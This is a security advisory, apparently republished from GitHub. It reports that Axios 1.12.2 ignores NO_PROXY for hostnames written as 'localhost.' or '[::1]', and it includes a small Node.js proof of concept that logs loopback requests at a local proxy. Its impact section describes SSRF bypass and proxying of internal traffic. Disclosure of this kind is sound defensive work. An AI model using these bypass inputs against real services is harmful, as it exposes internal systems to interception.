js import http from "http"; import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => { console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host); res.writeHead(200, { "Content-Type": "text/plain" }); res.end("proxied"); }).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTPPROXY = http://127.0.0.1:${proxyPort}; process.env.NOPROXY = "localhost,127.0.0.1,::1";

async function test(url) { try { await axios.get(url, { timeout: 2000 }); } catch {} }

setTimeout(async () => { console.log("\n[] Testing http://localhost.:8080/"); await test("http://localhost.:8080/"); // goes through proxy

console.log("\n[] Testing http://[::1]:8080/"); await test("http://[::1]:8080/"); // goes through proxy }, 500);

Expected: Requests bypass the proxy (direct to loopback). Actual: Proxy logs requests for localhost. and [::1].

---

Impact

Applications that rely on NOPROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable. Attackers controlling request URLs can:

Force Axios to send local traffic through an attacker-controlled proxy. Bypass SSRF mitigations relying on NO\PROXY rules. Potentially exfiltrate sensitive responses from internal services via the proxy. ---

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing). affects all versions that rely on Axios’ current NOPROXY evaluation.

---

Remediation Axios should normalize hostnames before evaluating NOPROXY, including:

Strip trailing dots from hostnames (per RFC 3986). Normalize IPv6 literals by removing brackets for matching.

1 / 4
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203